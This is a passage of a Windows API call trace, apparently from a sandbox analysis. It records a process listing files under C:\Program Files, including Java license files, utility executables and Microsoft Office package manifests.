ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0277.088] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0277.088] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0277.089] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0277.090] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0277.090] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0277.090] GetProcessHeap () returned 0xaf0000 [0277.090] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.091] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="totalcmd.exe", cAlternateFileName="")) returned 1 [0277.091] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5ab40, ftCreationTime.dwHighDateTime=0x1d5b52d, ftLastAccessTime.dwLowDateTime=0xec43d230, ftLastAccessTime.dwHighDateTime=0x1d583b3, ftLastWriteTime.dwLowDateTime=0xec43d230, ftLastWriteTime.dwHighDateTime=0x1d583b3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="totalcmd.exe", cAlternateFileName="")) returned 0 [0277.091] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0277.091] GetProcessHeap () returned 0xaf0000 [0277.091] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xb42830 | out: hHeap=0xaf0000) returned 1 [0277.093] FindNextFileW (in: hFindFile=0xb031c8, lpFindFileData=0x2fcf900 | out: lpFindFileData=0x2fcf900*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0277.093] GetProcessHeap () returned 0xaf0000 [0277.093] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xb42830 [0277.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0277.094] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe8d5c339, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d5c339, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="..", cAlternateFileName="")) returned 1 [0277.094] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1 [0277.094] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1 [0277.094] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4a86690, ftCreationTime.dwHighDateTime=0x1d5d4d7, ftLastAccessTime.dwLowDateTime=0x7eb83c20, ftLastAccessTime.dwHighDateTime=0x1d5b0da, ftLastWriteTime.dwLowDateTime=0x7eb83c20, ftLastWriteTime.dwHighDateTime=0x1d5b0da, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="leechftp.exe", cAlternateFileName="")) returned 1 [0277.094] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="Office16", cAlternateFileName="")) returned 1 [0277.094] GetProcessHeap () returned 0xaf0000 [0277.094] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office16\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0277.096] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x2a9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.HTM", cAlternateFileName="")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ea17a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x17103, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPP.VBS", cAlternateFileName="")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x6a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd502d600, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0xda9a8629, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd502d600, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x8df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLERROR.XML", cAlternateFileName="")) returned 0 [0277.096] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0277.096] GetProcessHeap () returned 0xaf0000 [0277.096] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3688270 | out: hHeap=0xaf0000) returned 1 [0277.096] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcf678 | out: lpFindFileData=0x2fcf678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1 [0277.097] GetProcessHeap () returned 0xaf0000 [0277.097] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3688270 [0277.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\*", lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0277.097] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.097] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml", cAlternateFileName="APA05A~1.XML")) returned 1 [0277.097] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x34b4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP8AF5~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-002C-0409-1000-0000000FF1CE.xml", cAlternateFileName="APF26A~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xbf33deae, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC553~1.XML")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xbf2f172d, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xbf2f172d, ftLastAccessTime.dwHighDateTime=0x1d47c31, 